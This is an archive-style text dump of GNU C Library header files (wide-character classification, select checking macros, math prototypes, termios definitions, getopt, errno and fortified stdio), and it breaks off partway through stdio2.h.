_ISwxdigit = _ISwbit (__ISwxdigit), /* Hexadecimal numeric. */ _ISwspace = _ISwbit (__ISwspace), /* Whitespace. */ _ISwprint = _ISwbit (__ISwprint), /* Printing. */ _ISwgraph = _ISwbit (__ISwgraph), /* Graphical. */ _ISwblank = _ISwbit (__ISwblank), /* Blank (usually SPC and TAB). */ _ISwcntrl = _ISwbit (__ISwcntrl), /* Control character. */ _ISwpunct = _ISwbit (__ISwpunct), /* Punctuation. */ _ISwalnum = _ISwbit (__ISwalnum) /* Alphanumeric. */ }; # endif /* Not _ISwbit */ __BEGIN_DECLS /* * Wide-character classification functions: 7.15.2.1. */ /* Test for any wide character for which `iswalpha' or `iswdigit' is true. */ extern int iswalnum (wint_t __wc) __THROW; /* Test for any wide character for which `iswupper' or 'iswlower' is true, or any wide character that is one of a locale-specific set of wide-characters for which none of `iswcntrl', `iswdigit', `iswpunct', or `iswspace' is true. */ extern int iswalpha (wint_t __wc) __THROW; /* Test for any control wide character. */ extern int iswcntrl (wint_t __wc) __THROW; /* Test for any wide character that corresponds to a decimal-digit character. */ extern int iswdigit (wint_t __wc) __THROW; /* Test for any wide character for which `iswprint' is true and `iswspace' is false. */ extern int iswgraph (wint_t __wc) __THROW; /* Test for any wide character that corresponds to a lowercase letter or is one of a locale-specific set of wide characters for which none of `iswcntrl', `iswdigit', `iswpunct', or `iswspace' is true. */ extern int iswlower (wint_t __wc) __THROW; /* Test for any printing wide character. */ extern int iswprint (wint_t __wc) __THROW; /* Test for any printing wide character that is one of a locale-specific et of wide characters for which neither `iswspace' nor `iswalnum' is true. */ extern int iswpunct (wint_t __wc) __THROW; /* Test for any wide character that corresponds to a locale-specific set of wide characters for which none of `iswalnum', `iswgraph', or `iswpunct' is true. */ extern int iswspace (wint_t __wc) __THROW; /* Test for any wide character that corresponds to an uppercase letter or is one of a locale-specific set of wide character for which none of `iswcntrl', `iswdigit', `iswpunct', or `iswspace' is true. */ extern int iswupper (wint_t __wc) __THROW; /* Test for any wide character that corresponds to a hexadecimal-digit character equivalent to that performed be the functions described in the previous subclause. */ extern int iswxdigit (wint_t __wc) __THROW; /* Test for any wide character that corresponds to a standard blank wide character or a locale-specific set of wide characters for which `iswalnum' is false. */ # ifdef __USE_ISOC99 extern int iswblank (wint_t __wc) __THROW; # endif /* * Extensible wide-character classification functions: 7.15.2.2. */ /* Construct value that describes a class of wide characters identified by the string argument PROPERTY. */ extern wctype_t wctype (const char *__property) __THROW; /* Determine whether the wide-character WC has the property described by DESC. */ extern int iswctype (wint_t __wc, wctype_t __desc) __THROW; /* * Wide-character case-mapping functions: 7.15.3.1. */ /* Converts an uppercase letter to the corresponding lowercase letter. */ extern wint_t towlower (wint_t __wc) __THROW; /* Converts an lowercase letter to the corresponding uppercase letter. */ extern wint_t towupper (wint_t __wc) __THROW; __END_DECLS #endif /* bits/wctype-wchar.h. */ bits/select2.h 0000644 00000002635 15246445046 0007237 0 ustar 00 /* Checking macros for select functions. Copyright (C) 2011-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_SELECT_H # error "Never include <bits/select2.h> directly; use <sys/select.h> instead." #endif /* Helper functions to issue warnings and errors when needed. */ extern long int __fdelt_chk (long int __d); extern long int __fdelt_warn (long int __d) __warnattr ("bit outside of fd_set selected"); #undef __FD_ELT #define __FD_ELT(d) \ __extension__ \ ({ long int __d = (d); \ (__builtin_constant_p (__d) \ ? (0 <= __d && __d < __FD_SETSIZE \ ? (__d / __NFDBITS) \ : __fdelt_warn (__d)) \ : __fdelt_chk (__d)); }) bits/mathcalls.h 0000644 00000031454 15246445046 0007647 0 ustar 00 /* Prototype declarations for math functions; helper file for <math.h>. Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* NOTE: Because of the special way this file is used by <math.h>, this file must NOT be protected from multiple inclusion as header files usually are. This file provides prototype declarations for the math functions. Most functions are declared using the macro: __MATHCALL (NAME,[_r], (ARGS...)); This means there is a function `NAME' returning `double' and a function `NAMEf' returning `float'. Each place `_Mdouble_' appears in the prototype, that is actually `double' in the prototype for `NAME' and `float' in the prototype for `NAMEf'. Reentrant variant functions are called `NAME_r' and `NAMEf_r'. Functions returning other types like `int' are declared using the macro: __MATHDECL (TYPE, NAME,[_r], (ARGS...)); This is just like __MATHCALL but for a function returning `TYPE' instead of `_Mdouble_'. In all of these cases, there is still both a `NAME' and a `NAMEf' that takes `float' arguments. Note that there must be no whitespace before the argument passed for NAME, to make token pasting work with -traditional. */ #ifndef _MATH_H # error "Never include <bits/mathcalls.h> directly; include <math.h> instead." #endif /* Trigonometric functions. */ /* Arc cosine of X. */ __MATHCALL (acos,, (_Mdouble_ __x)); /* Arc sine of X. */ __MATHCALL (asin,, (_Mdouble_ __x)); /* Arc tangent of X. */ __MATHCALL (atan,, (_Mdouble_ __x)); /* Arc tangent of Y/X. */ __MATHCALL (atan2,, (_Mdouble_ __y, _Mdouble_ __x)); /* Cosine of X. */ __MATHCALL_VEC (cos,, (_Mdouble_ __x)); /* Sine of X. */ __MATHCALL_VEC (sin,, (_Mdouble_ __x)); /* Tangent of X. */ __MATHCALL (tan,, (_Mdouble_ __x)); /* Hyperbolic functions. */ /* Hyperbolic cosine of X. */ __MATHCALL (cosh,, (_Mdouble_ __x)); /* Hyperbolic sine of X. */ __MATHCALL (sinh,, (_Mdouble_ __x)); /* Hyperbolic tangent of X. */ __MATHCALL (tanh,, (_Mdouble_ __x)); #ifdef __USE_GNU /* Cosine and sine of X. */ __MATHDECL_VEC (void,sincos,, (_Mdouble_ __x, _Mdouble_ *__sinx, _Mdouble_ *__cosx)); #endif #if defined __USE_XOPEN_EXTENDED || defined __USE_ISOC99 /* Hyperbolic arc cosine of X. */ __MATHCALL (acosh,, (_Mdouble_ __x)); /* Hyperbolic arc sine of X. */ __MATHCALL (asinh,, (_Mdouble_ __x)); /* Hyperbolic arc tangent of X. */ __MATHCALL (atanh,, (_Mdouble_ __x)); #endif /* Exponential and logarithmic functions. */ /* Exponential function of X. */ __MATHCALL_VEC (exp,, (_Mdouble_ __x)); /* Break VALUE into a normalized fraction and an integral power of 2. */ __MATHCALL (frexp,, (_Mdouble_ __x, int *__exponent)); /* X times (two to the EXP power). */ __MATHCALL (ldexp,, (_Mdouble_ __x, int __exponent)); /* Natural logarithm of X. */ __MATHCALL_VEC (log,, (_Mdouble_ __x)); /* Base-ten logarithm of X. */ __MATHCALL (log10,, (_Mdouble_ __x)); /* Break VALUE into integral and fractional parts. */ __MATHCALL (modf,, (_Mdouble_ __x, _Mdouble_ *__iptr)) __nonnull ((2)); #if __GLIBC_USE (IEC_60559_FUNCS_EXT) /* Compute exponent to base ten. */ __MATHCALL (exp10,, (_Mdouble_ __x)); #endif #if defined __USE_XOPEN_EXTENDED || defined __USE_ISOC99 /* Return exp(X) - 1. */ __MATHCALL (expm1,, (_Mdouble_ __x)); /* Return log(1 + X). */ __MATHCALL (log1p,, (_Mdouble_ __x)); /* Return the base 2 signed integral exponent of X. */ __MATHCALL (logb,, (_Mdouble_ __x)); #endif #ifdef __USE_ISOC99 /* Compute base-2 exponential of X. */ __MATHCALL (exp2,, (_Mdouble_ __x)); /* Compute base-2 logarithm of X. */ __MATHCALL (log2,, (_Mdouble_ __x)); #endif /* Power functions. */ /* Return X to the Y power. */ __MATHCALL_VEC (pow,, (_Mdouble_ __x, _Mdouble_ __y)); /* Return the square root of X. */ __MATHCALL (sqrt,, (_Mdouble_ __x)); #if defined __USE_XOPEN || defined __USE_ISOC99 /* Return `sqrt(X*X + Y*Y)'. */ __MATHCALL (hypot,, (_Mdouble_ __x, _Mdouble_ __y)); #endif #if defined __USE_XOPEN_EXTENDED || defined __USE_ISOC99 /* Return the cube root of X. */ __MATHCALL (cbrt,, (_Mdouble_ __x)); #endif /* Nearest integer, absolute value, and remainder functions. */ /* Smallest integral value not less than X. */ __MATHCALLX (ceil,, (_Mdouble_ __x), (__const__)); /* Absolute value of X. */ __MATHCALLX (fabs,, (_Mdouble_ __x), (__const__)); /* Largest integer not greater than X. */ __MATHCALLX (floor,, (_Mdouble_ __x), (__const__)); /* Floating-point modulo remainder of X/Y. */ __MATHCALL (fmod,, (_Mdouble_ __x, _Mdouble_ __y)); #ifdef __USE_MISC # if ((!defined __cplusplus \ || __cplusplus < 201103L /* isinf conflicts with C++11. */ \ || __MATH_DECLARING_DOUBLE == 0)) /* isinff or isinfl don't. */ \ && !__MATH_DECLARING_FLOATN /* Return 0 if VALUE is finite or NaN, +1 if it is +Infinity, -1 if it is -Infinity. */ __MATHDECL_1 (int,isinf,, (_Mdouble_ __value)) __attribute__ ((__const__)); # endif # if !__MATH_DECLARING_FLOATN /* Return nonzero if VALUE is finite and not NaN. */ __MATHDECL_1 (int,finite,, (_Mdouble_ __value)) __attribute__ ((__const__)); /* Return the remainder of X/Y. */ __MATHCALL (drem,, (_Mdouble_ __x, _Mdouble_ __y)); /* Return the fractional part of X after dividing out `ilogb (X)'. */ __MATHCALL (significand,, (_Mdouble_ __x)); # endif #endif /* Use misc. */ #ifdef __USE_ISOC99 /* Return X with its signed changed to Y's. */ __MATHCALLX (copysign,, (_Mdouble_ __x, _Mdouble_ __y), (__const__)); #endif #ifdef __USE_ISOC99 /* Return representation of qNaN for double type. */ __MATHCALL (nan,, (const char *__tagb)); #endif #if defined __USE_MISC || (defined __USE_XOPEN && !defined __USE_XOPEN2K) # if ((!defined __cplusplus \ || __cplusplus < 201103L /* isnan conflicts with C++11. */ \ || __MATH_DECLARING_DOUBLE == 0)) /* isnanf or isnanl don't. */ \ && !__MATH_DECLARING_FLOATN /* Return nonzero if VALUE is not a number. */ __MATHDECL_1 (int,isnan,, (_Mdouble_ __value)) __attribute__ ((__const__)); # endif #endif #if defined __USE_MISC || (defined __USE_XOPEN && __MATH_DECLARING_DOUBLE) /* Bessel functions. */ __MATHCALL (j0,, (_Mdouble_)); __MATHCALL (j1,, (_Mdouble_)); __MATHCALL (jn,, (int, _Mdouble_)); __MATHCALL (y0,, (_Mdouble_)); __MATHCALL (y1,, (_Mdouble_)); __MATHCALL (yn,, (int, _Mdouble_)); #endif #if defined __USE_XOPEN || defined __USE_ISOC99 /* Error and gamma functions. */ __MATHCALL (erf,, (_Mdouble_)); __MATHCALL (erfc,, (_Mdouble_)); __MATHCALL (lgamma,, (_Mdouble_)); #endif #ifdef __USE_ISOC99 /* True gamma function. */ __MATHCALL (tgamma,, (_Mdouble_)); #endif #if defined __USE_MISC || (defined __USE_XOPEN && !defined __USE_XOPEN2K) # if !__MATH_DECLARING_FLOATN /* Obsolete alias for `lgamma'. */ __MATHCALL (gamma,, (_Mdouble_)); # endif #endif #ifdef __USE_MISC /* Reentrant version of lgamma. This function uses the global variable `signgam'. The reentrant version instead takes a pointer and stores the value through it. */ __MATHCALL (lgamma,_r, (_Mdouble_, int *__signgamp)); #endif #if defined __USE_XOPEN_EXTENDED || defined __USE_ISOC99 /* Return the integer nearest X in the direction of the prevailing rounding mode. */ __MATHCALL (rint,, (_Mdouble_ __x)); /* Return X + epsilon if X < Y, X - epsilon if X > Y. */ __MATHCALL (nextafter,, (_Mdouble_ __x, _Mdouble_ __y)); # if defined __USE_ISOC99 && !defined __LDBL_COMPAT && !__MATH_DECLARING_FLOATN __MATHCALL (nexttoward,, (_Mdouble_ __x, long double __y)); # endif # if __GLIBC_USE (IEC_60559_BFP_EXT) || __MATH_DECLARING_FLOATN /* Return X - epsilon. */ __MATHCALL (nextdown,, (_Mdouble_ __x)); /* Return X + epsilon. */ __MATHCALL (nextup,, (_Mdouble_ __x)); # endif /* Return the remainder of integer divison X / Y with infinite precision. */ __MATHCALL (remainder,, (_Mdouble_ __x, _Mdouble_ __y)); # ifdef __USE_ISOC99 /* Return X times (2 to the Nth power). */ __MATHCALL (scalbn,, (_Mdouble_ __x, int __n)); # endif /* Return the binary exponent of X, which must be nonzero. */ __MATHDECL (int,ilogb,, (_Mdouble_ __x)); #endif #if __GLIBC_USE (IEC_60559_BFP_EXT) || __MATH_DECLARING_FLOATN /* Like ilogb, but returning long int. */ __MATHDECL (long int, llogb,, (_Mdouble_ __x)); #endif #ifdef __USE_ISOC99 /* Return X times (2 to the Nth power). */ __MATHCALL (scalbln,, (_Mdouble_ __x, long int __n)); /* Round X to integral value in floating-point format using current rounding direction, but do not raise inexact exception. */ __MATHCALL (nearbyint,, (_Mdouble_ __x)); /* Round X to nearest integral value, rounding halfway cases away from zero. */ __MATHCALLX (round,, (_Mdouble_ __x), (__const__)); /* Round X to the integral value in floating-point format nearest but not larger in magnitude. */ __MATHCALLX (trunc,, (_Mdouble_ __x), (__const__)); /* Compute remainder of X and Y and put in *QUO a value with sign of x/y and magnitude congruent `mod 2^n' to the magnitude of the integral quotient x/y, with n >= 3. */ __MATHCALL (remquo,, (_Mdouble_ __x, _Mdouble_ __y, int *__quo)); /* Conversion functions. */ /* Round X to nearest integral value according to current rounding direction. */ __MATHDECL (long int,lrint,, (_Mdouble_ __x)); __extension__ __MATHDECL (long long int,llrint,, (_Mdouble_ __x)); /* Round X to nearest integral value, rounding halfway cases away from zero. */ __MATHDECL (long int,lround,, (_Mdouble_ __x)); __extension__ __MATHDECL (long long int,llround,, (_Mdouble_ __x)); /* Return positive difference between X and Y. */ __MATHCALL (fdim,, (_Mdouble_ __x, _Mdouble_ __y)); /* Return maximum numeric value from X and Y. */ __MATHCALLX (fmax,, (_Mdouble_ __x, _Mdouble_ __y), (__const__)); /* Return minimum numeric value from X and Y. */ __MATHCALLX (fmin,, (_Mdouble_ __x, _Mdouble_ __y), (__const__)); /* Multiply-add function computed as a ternary operation. */ __MATHCALL (fma,, (_Mdouble_ __x, _Mdouble_ __y, _Mdouble_ __z)); #endif /* Use ISO C99. */ #if __GLIBC_USE (IEC_60559_BFP_EXT) || __MATH_DECLARING_FLOATN /* Round X to nearest integer value, rounding halfway cases to even. */ __MATHCALLX (roundeven,, (_Mdouble_ __x), (__const__)); /* Round X to nearest signed integer value, not raising inexact, with control of rounding direction and width of result. */ __MATHDECL (__intmax_t, fromfp,, (_Mdouble_ __x, int __round, unsigned int __width)); /* Round X to nearest unsigned integer value, not raising inexact, with control of rounding direction and width of result. */ __MATHDECL (__uintmax_t, ufromfp,, (_Mdouble_ __x, int __round, unsigned int __width)); /* Round X to nearest signed integer value, raising inexact for non-integers, with control of rounding direction and width of result. */ __MATHDECL (__intmax_t, fromfpx,, (_Mdouble_ __x, int __round, unsigned int __width)); /* Round X to nearest unsigned integer value, raising inexact for non-integers, with control of rounding direction and width of result. */ __MATHDECL (__uintmax_t, ufromfpx,, (_Mdouble_ __x, int __round, unsigned int __width)); /* Return value with maximum magnitude. */ __MATHCALLX (fmaxmag,, (_Mdouble_ __x, _Mdouble_ __y), (__const__)); /* Return value with minimum magnitude. */ __MATHCALLX (fminmag,, (_Mdouble_ __x, _Mdouble_ __y), (__const__)); /* Total order operation. */ __MATHDECL_1 (int, totalorder,, (_Mdouble_ __x, _Mdouble_ __y)) __attribute__ ((__const__)); /* Total order operation on absolute values. */ __MATHDECL_1 (int, totalordermag,, (_Mdouble_ __x, _Mdouble_ __y)) __attribute__ ((__const__)); /* Canonicalize floating-point representation. */ __MATHDECL_1 (int, canonicalize,, (_Mdouble_ *__cx, const _Mdouble_ *__x)); /* Get NaN payload. */ __MATHCALL (getpayload,, (const _Mdouble_ *__x)); /* Set quiet NaN payload. */ __MATHDECL_1 (int, setpayload,, (_Mdouble_ *__x, _Mdouble_ __payload)); /* Set signaling NaN payload. */ __MATHDECL_1 (int, setpayloadsig,, (_Mdouble_ *__x, _Mdouble_ __payload)); #endif #if (defined __USE_MISC || (defined __USE_XOPEN_EXTENDED \ && __MATH_DECLARING_DOUBLE \ && !defined __USE_XOPEN2K8)) \ && !__MATH_DECLARING_FLOATN /* Return X times (2 to the Nth power). */ __MATHCALL (scalb,, (_Mdouble_ __x, _Mdouble_ __n)); #endif bits/termios.h 0000644 00000012363 15246445046 0007357 0 ustar 00 /* termios type and macro definitions. Linux version. Copyright (C) 1993-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _TERMIOS_H # error "Never include <bits/termios.h> directly; use <termios.h> instead." #endif typedef unsigned char cc_t; typedef unsigned int speed_t; typedef unsigned int tcflag_t; #define NCCS 32 struct termios { tcflag_t c_iflag; /* input mode flags */ tcflag_t c_oflag; /* output mode flags */ tcflag_t c_cflag; /* control mode flags */ tcflag_t c_lflag; /* local mode flags */ cc_t c_line; /* line discipline */ cc_t c_cc[NCCS]; /* control characters */ speed_t c_ispeed; /* input speed */ speed_t c_ospeed; /* output speed */ #define _HAVE_STRUCT_TERMIOS_C_ISPEED 1 #define _HAVE_STRUCT_TERMIOS_C_OSPEED 1 }; /* c_cc characters */ #define VINTR 0 #define VQUIT 1 #define VERASE 2 #define VKILL 3 #define VEOF 4 #define VTIME 5 #define VMIN 6 #define VSWTC 7 #define VSTART 8 #define VSTOP 9 #define VSUSP 10 #define VEOL 11 #define VREPRINT 12 #define VDISCARD 13 #define VWERASE 14 #define VLNEXT 15 #define VEOL2 16 /* c_iflag bits */ #define IGNBRK 0000001 #define BRKINT 0000002 #define IGNPAR 0000004 #define PARMRK 0000010 #define INPCK 0000020 #define ISTRIP 0000040 #define INLCR 0000100 #define IGNCR 0000200 #define ICRNL 0000400 #define IUCLC 0001000 #define IXON 0002000 #define IXANY 0004000 #define IXOFF 0010000 #define IMAXBEL 0020000 #define IUTF8 0040000 /* c_oflag bits */ #define OPOST 0000001 #define OLCUC 0000002 #define ONLCR 0000004 #define OCRNL 0000010 #define ONOCR 0000020 #define ONLRET 0000040 #define OFILL 0000100 #define OFDEL 0000200 #if defined __USE_MISC || defined __USE_XOPEN # define NLDLY 0000400 # define NL0 0000000 # define NL1 0000400 # define CRDLY 0003000 # define CR0 0000000 # define CR1 0001000 # define CR2 0002000 # define CR3 0003000 # define TABDLY 0014000 # define TAB0 0000000 # define TAB1 0004000 # define TAB2 0010000 # define TAB3 0014000 # define BSDLY 0020000 # define BS0 0000000 # define BS1 0020000 # define FFDLY 0100000 # define FF0 0000000 # define FF1 0100000 #endif #define VTDLY 0040000 #define VT0 0000000 #define VT1 0040000 #ifdef __USE_MISC # define XTABS 0014000 #endif /* c_cflag bit meaning */ #ifdef __USE_MISC # define CBAUD 0010017 #endif #define B0 0000000 /* hang up */ #define B50 0000001 #define B75 0000002 #define B110 0000003 #define B134 0000004 #define B150 0000005 #define B200 0000006 #define B300 0000007 #define B600 0000010 #define B1200 0000011 #define B1800 0000012 #define B2400 0000013 #define B4800 0000014 #define B9600 0000015 #define B19200 0000016 #define B38400 0000017 #ifdef __USE_MISC # define EXTA B19200 # define EXTB B38400 #endif #define CSIZE 0000060 #define CS5 0000000 #define CS6 0000020 #define CS7 0000040 #define CS8 0000060 #define CSTOPB 0000100 #define CREAD 0000200 #define PARENB 0000400 #define PARODD 0001000 #define HUPCL 0002000 #define CLOCAL 0004000 #ifdef __USE_MISC # define CBAUDEX 0010000 #endif #define B57600 0010001 #define B115200 0010002 #define B230400 0010003 #define B460800 0010004 #define B500000 0010005 #define B576000 0010006 #define B921600 0010007 #define B1000000 0010010 #define B1152000 0010011 #define B1500000 0010012 #define B2000000 0010013 #define B2500000 0010014 #define B3000000 0010015 #define B3500000 0010016 #define B4000000 0010017 #define __MAX_BAUD B4000000 #ifdef __USE_MISC # define CIBAUD 002003600000 /* input baud rate (not used) */ # define CMSPAR 010000000000 /* mark or space (stick) parity */ # define CRTSCTS 020000000000 /* flow control */ #endif /* c_lflag bits */ #define ISIG 0000001 #define ICANON 0000002 #if defined __USE_MISC || (defined __USE_XOPEN && !defined __USE_XOPEN2K) # define XCASE 0000004 #endif #define ECHO 0000010 #define ECHOE 0000020 #define ECHOK 0000040 #define ECHONL 0000100 #define NOFLSH 0000200 #define TOSTOP 0000400 #ifdef __USE_MISC # define ECHOCTL 0001000 # define ECHOPRT 0002000 # define ECHOKE 0004000 # define FLUSHO 0010000 # define PENDIN 0040000 #endif #define IEXTEN 0100000 #ifdef __USE_MISC # define EXTPROC 0200000 #endif /* tcflow() and TCXONC use these */ #define TCOOFF 0 #define TCOON 1 #define TCIOFF 2 #define TCION 3 /* tcflush() and TCFLSH use these */ #define TCIFLUSH 0 #define TCOFLUSH 1 #define TCIOFLUSH 2 /* tcsetattr uses these */ #define TCSANOW 0 #define TCSADRAIN 1 #define TCSAFLUSH 2 #define _IOT_termios /* Hurd ioctl type field. */ \ _IOT (_IOTS (cflag_t), 4, _IOTS (cc_t), NCCS, _IOTS (speed_t), 2) bits/indirect-return.h 0000644 00000003061 15246445046 0011006 0 ustar 00 /* Definition of __INDIRECT_RETURN. x86 version. Copyright (C) 2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _UCONTEXT_H # error "Never include <bits/indirect-return.h> directly; use <ucontext.h> instead." #endif /* On x86, swapcontext returns via indirect branch when the shadow stack is enabled. Define __INDIRECT_RETURN to indicate whether swapcontext returns via indirect branch. */ #if defined __CET__ && (__CET__ & 2) != 0 # if __glibc_has_attribute (__indirect_return__) # define __INDIRECT_RETURN __attribute__ ((__indirect_return__)) # else /* Newer compilers provide the indirect_return attribute, but without it we can use returns_twice to affect the optimizer in the same way and avoid unsafe optimizations. */ # define __INDIRECT_RETURN __attribute__ ((__returns_twice__)) # endif #else # define __INDIRECT_RETURN #endif bits/getopt_posix.h 0000644 00000003421 15246445046 0010414 0 ustar 00 /* Declarations for getopt (POSIX compatibility shim). Copyright (C) 1989-2018 Free Software Foundation, Inc. Unlike the bulk of the getopt implementation, this file is NOT part of gnulib. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _GETOPT_POSIX_H #define _GETOPT_POSIX_H 1 #if !defined _UNISTD_H && !defined _STDIO_H #error "Never include getopt_posix.h directly; use unistd.h instead." #endif #include <bits/getopt_core.h> __BEGIN_DECLS #if defined __USE_POSIX2 && !defined __USE_POSIX_IMPLICITLY \ && !defined __USE_GNU && !defined _GETOPT_H /* GNU getopt has more functionality than POSIX getopt. When we are explicitly conforming to POSIX and not GNU, and getopt.h (which is not part of POSIX) has not been included, the extra functionality is disabled. */ # ifdef __REDIRECT extern int __REDIRECT_NTH (getopt, (int ___argc, char *const *___argv, const char *__shortopts), __posix_getopt); # else extern int __posix_getopt (int ___argc, char *const *___argv, const char *__shortopts) __THROW __nonnull ((2, 3)); # define getopt __posix_getopt # endif #endif __END_DECLS #endif /* getopt_posix.h */ bits/errno.h 0000644 00000002621 15246445046 0007016 0 ustar 00 /* Error constants. Linux specific version. Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_ERRNO_H #define _BITS_ERRNO_H 1 #if !defined _ERRNO_H # error "Never include <bits/errno.h> directly; use <errno.h> instead." #endif # include <linux/errno.h> /* Older Linux headers do not define these constants. */ # ifndef ENOTSUP # define ENOTSUP EOPNOTSUPP # endif # ifndef ECANCELED # define ECANCELED 125 # endif # ifndef EOWNERDEAD # define EOWNERDEAD 130 # endif #ifndef ENOTRECOVERABLE # define ENOTRECOVERABLE 131 # endif # ifndef ERFKILL # define ERFKILL 132 # endif # ifndef EHWPOISON # define EHWPOISON 133 # endif #endif /* bits/errno.h. */ bits/stdio2.h 0000644 00000030402 15246445046 0007073 0 ustar 00 /* Checking macros for stdio functions. Copyright (C) 2004-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_STDIO2_H #define _BITS_STDIO2_H 1 #ifndef _STDIO_H # error "Never include <bits/stdio2.h> directly; use <stdio.h> instead." #endif extern int __sprintf_chk (char *__restrict __s, int __flag, size_t __slen, const char *__restrict __format, ...) __THROW; extern int __vsprintf_chk (char *__restrict __s, int __flag, size_t __slen, const char *__restrict __format, __gnuc_va_list __ap) __THROW; #ifdef __va_arg_pack __fortify_function int __NTH (sprintf (char *__restrict __s, const char *__restrict __fmt, ...)) { return __builtin___sprintf_chk (__s, __USE_FORTIFY_LEVEL - 1, __glibc_objsize (__s), __fmt, __va_arg_pack ()); } #elif !defined __cplusplus # define sprintf(str, ...) \ __builtin___sprintf_chk (str, __USE_FORTIFY_LEVEL - 1, \ __glibc_objsize (str), __VA_ARGS__) #endif __fortify_function int __NTH (vsprintf (char *__restrict __s, const char *__restrict __fmt, __gnuc_va_list __ap)) { return __builtin___vsprintf_chk (__s, __USE_FORTIFY_LEVEL - 1, __glibc_objsize (__s), __fmt, __ap); } #if defined __USE_ISOC99 || defined __USE_UNIX98 extern int __snprintf_chk (char *__restrict __s, size_t __n, int __flag, size_t __slen, const char *__restrict __format, ...) __THROW; extern int __vsnprintf_chk (char *__restrict __s, size_t __n, int __flag, size_t __slen, const char *__restrict __format, __gnuc_va_list __ap) __THROW; # ifdef __va_arg_pack __fortify_function int __NTH (snprintf (char *__restrict __s, size_t __n, const char *__restrict __fmt, ...)) { return __builtin___snprintf_chk (__s, __n, __USE_FORTIFY_LEVEL - 1, __glibc_objsize (__s), __fmt, __va_arg_pack ()); } # elif !defined __cplusplus # define snprintf(str, len, ...) \ __builtin___snprintf_chk (str, len, __USE_FORTIFY_LEVEL - 1, \ __glibc_objsize (str), __VA_ARGS__) # endif __fortify_function int __NTH (vsnprintf (char *__restrict __s, size_t __n, const char *__restrict __fmt, __gnuc_va_list __ap)) { return __builtin___vsnprintf_chk (__s, __n, __USE_FORTIFY_LEVEL - 1, __glibc_objsize (__s), __fmt, __ap); } #endif #if __USE_FORTIFY_LEVEL > 1 extern int __fprintf_chk (FILE *__restrict __stream, int __flag, const char *__restrict __format, ...); extern int __printf_chk (int __flag, const char *__restrict __format, ...); extern int __vfprintf_chk (FILE *__restrict __stream, int __flag, const char *__restrict __format, __gnuc_va_list __ap); extern int __vprintf_chk (int __flag, const char *__restrict __format, __gnuc_va_list __ap); # ifdef __va_arg_pack __fortify_function int fprintf (FILE *__restrict __stream, const char *__restrict __fmt, ...) { return __fprintf_chk (__stream, __USE_FORTIFY_LEVEL - 1, __fmt, __va_arg_pack ()); } __fortify_function int printf (const char *__restrict __fmt, ...) { return __printf_chk (__USE_FORTIFY_LEVEL - 1, __fmt, __va_arg_pack ()); } # elif !defined __cplusplus # define printf(...) \ __printf_chk (__USE_FORTIFY_LEVEL - 1, __VA_ARGS__) # define fprintf(stream, ...) \ __fprintf_chk (stream, __USE_FORTIFY_LEVEL - 1, __VA_ARGS__) # endif __fortify_function int vprintf (const char *__restrict __fmt, __gnuc_va_list __ap) { #ifdef __USE_EXTERN_INLINES return __vfprintf_chk (stdout, __USE_FORTIFY_LEVEL - 1, __fmt, __ap); #else return __vprintf_chk 